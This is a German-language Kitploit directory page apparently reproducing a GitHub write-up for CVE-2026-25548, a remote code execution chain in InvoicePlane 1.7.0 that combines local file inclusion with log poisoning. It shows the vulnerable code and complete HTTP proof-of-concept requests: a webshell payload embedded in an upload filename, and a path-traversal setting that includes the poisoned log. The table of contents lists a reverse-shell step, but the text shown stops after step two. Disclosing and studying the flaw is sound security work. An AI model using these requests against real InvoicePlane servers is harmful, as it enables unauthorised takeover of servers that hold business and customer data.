Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-25548 — # Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse. | Kitploit
Tools/GitHubGitHub/lagathos/cve-2026-25548
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHublagathos/cve-2026-25548

CVE-2026-25548

# Detaillierte technische Analyse und Proof-of-Concept für CVE-2026-25548, eine kritische RCE in InvoicePlane 1.7.0 über LFI und Log-Poisoning, einschließlich Angriffskette, PoC-Anfragen und Auswirkungsanalyse.

Repository anzeigen
19vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-25548 — Remote Code Execution in InvoicePlane 1.7.0

Schwachstelle: Remote Code Execution durch Local File Inclusion + Log Poisoning

Produkt: InvoicePlane

Betroffene Version: 1.7.0 (und wahrscheinlich frühere Versionen)

Schweregrad: Kritisch

CVSS 3.1-Score: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

Entdeckt von: Leonidas Agathos

Meldedatum: 2026-01-31


Inhaltsverzeichnis

  • Beschreibung
  • Details zur Schwachstelle
    • 1. Local File Inclusion (LFI)
    • 2. Log Poisoning über Upload-Dateinamen
  • Angriffskette
  • Proof of Concept
    • Schritt 1 — Log Poisoning
    • Schritt 2 — LFI konfigurieren
    • Schritt 3 — RCE auslösen
    • Schritt 4 — Reverse Shell
  • Auswirkungen
  • Betroffene Komponenten
  • Zeitplan

Beschreibung

Eine kritische Schwachstellenkette in InvoicePlane 1.7.0 ermöglicht es einem authentifizierten Administrator, Remote Code Execution (RCE) auf dem zugrunde liegenden Server zu erreichen. Der Angriff kombiniert zwei Schwachstellen:

  1. Local File Inclusion (LFI) — Die Einstellung für öffentliche Rechnungsvorlagen akzeptiert beliebige Dateipfade ohne Validierung, wodurch Dateien außerhalb des vorgesehenen Vorlagenverzeichnisses eingebunden werden können.
  2. Log Poisoning — Upload-Dateinamen, die Pfad-Traversal-Zeichen enthalten, werden unverändert in CodeIgniters .php-Logdateien geschrieben, wodurch beliebiger PHP-Code injiziert werden kann.

In Kombination kann ein Angreifer mit Admin-Zugriff die vollständige Kontrolle über den Server als Webserver-Benutzer erlangen. Der finale RCE-Auslöser ist nicht authentifiziert (öffentliche Rechnungs-URL).


Details zur Schwachstelle

1. Local File Inclusion (LFI)

AttributWert
Dateiapplication/modules/guest/controllers/View.php
Zeilen85, 191
Parameterpublic_invoice_template (Datenbankeinstellung)
CWECWE-98: Unsachgemäße Kontrolle des Dateinamens für Include/Require-Anweisung

Verwundbarer Code (View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

Verwundbarer Code (View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

Die Einstellungen public_invoice_template und public_quote_template werden aus der Datenbank abgerufen und direkt in einen Dateipfad eingefügt, der an CodeIgniters load->view() übergeben wird (was zu PHP's include() aufgelöst wird). Es gibt keine Validierung, um:

  • Pfad-Traversal-Sequenzen (../) zu verhindern
  • Erlaubte Vorlagennamen auf eine Whitelist zu setzen
  • Zu bestätigen, dass die Datei im erwarteten Vorlagenverzeichnis existiert

Ein Administrator kann diesen Wert auf jeden Pfad im Dateisystem setzen, eingeschränkt nur durch die automatisch angehängte .php-Endung.


2. Log Poisoning über Upload-Dateinamen

AttributWert
Dateiapplication/modules/upload/controllers/Upload.php
Zeilen178–184
ParameterUpload-Dateiname (HTTP-Multipart-Formulardaten)
CWECWE-117: Unsachgemäße Ausgabeneutralisierung für Logs

Verwundbarer Code (Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

Wenn ein Dateiname die Pfad-Traversal-Prüfung auslöst, wird der rohe, nicht bereinigte Dateiname direkt in die Logdatei geschrieben. CodeIgniter-Logdateien:

  • Verwenden die .php-Endung: application/logs/log-YYYY-MM-DD.php
  • Beginnen mit <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • Sind daher gültige PHP-Dateien, die bei Einbindung ausgeführt werden

Ein Angreifer, der <?php system($_GET[1]); ?> in den Dateinamen einbettet, bewirkt, dass dieser Payload in das Log geschrieben und später über die LFI ausgeführt wird.


Angriffskette

[Authentifizierter Benutzer]  →  Bösartigen Dateinamen hochladen  →  PHP in Logdatei injiziert
[Admin]                       →  Vorlageneinstellung setzen        →  LFI zeigt auf Logdatei
[Jeder]                       →  Öffentliche Rechnungs-URL besuchen →  RCE
SchrittAnforderung
Log PoisoningAuthentifizierter Benutzer mit Upload-Zugriff
LFI-KonfigurationAdministratorkonto
RCE-AuslöserNicht authentifiziert (öffentliche Rechnungs-URL)

Proof of Concept

Schritt 1 — Log Poisoning

Senden Sie eine Datei-Upload-Anfrage mit einer PHP-Webshell, die in den Dateinamen eingebettet ist. Die Pfad-Traversal-Prüfung wird ausgelöst und schreibt den rohen Dateinamen (einschließlich des PHP-Payloads) in die Logdatei.

Anfrage (über Burp Suite):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

Der Server lehnt den Upload ab (upload_error_invalid_extension), aber der Logeintrag ist bereits geschrieben:

Ergebnis in application/logs/log-2026-01-31.php:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

Navigieren Sie zum Anhänge-Bereich einer Rechnung und klicken Sie auf Dateien hinzufügen, um den Upload-Endpunkt zu erreichen.

Schritt 1a - Upload-Einstiegspunkt für Rechnungsanhänge

Schritt 1b - Injizieren des PHP-Payloads über einen bösartigen Dateinamen

Schritt 1c - Logdatei mit injiziertem PHP-Payload


Schritt 2 — LFI konfigurieren

Als Administrator setzen Sie die Einstellung public_invoice_template so, dass sie mit einem Pfad-Traversal-Payload auf die heutige Logdatei zeigt. CodeIgniters View-Loader hängt .php automatisch an.

Anfrage (über Burp Suite):

POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

Der Traversal-Pfad wird von application/views/invoice_templates/public/ bis zu application/logs/ aufgelöst und bindet dann log-2026-01-31.php ein.

Tool herunterladen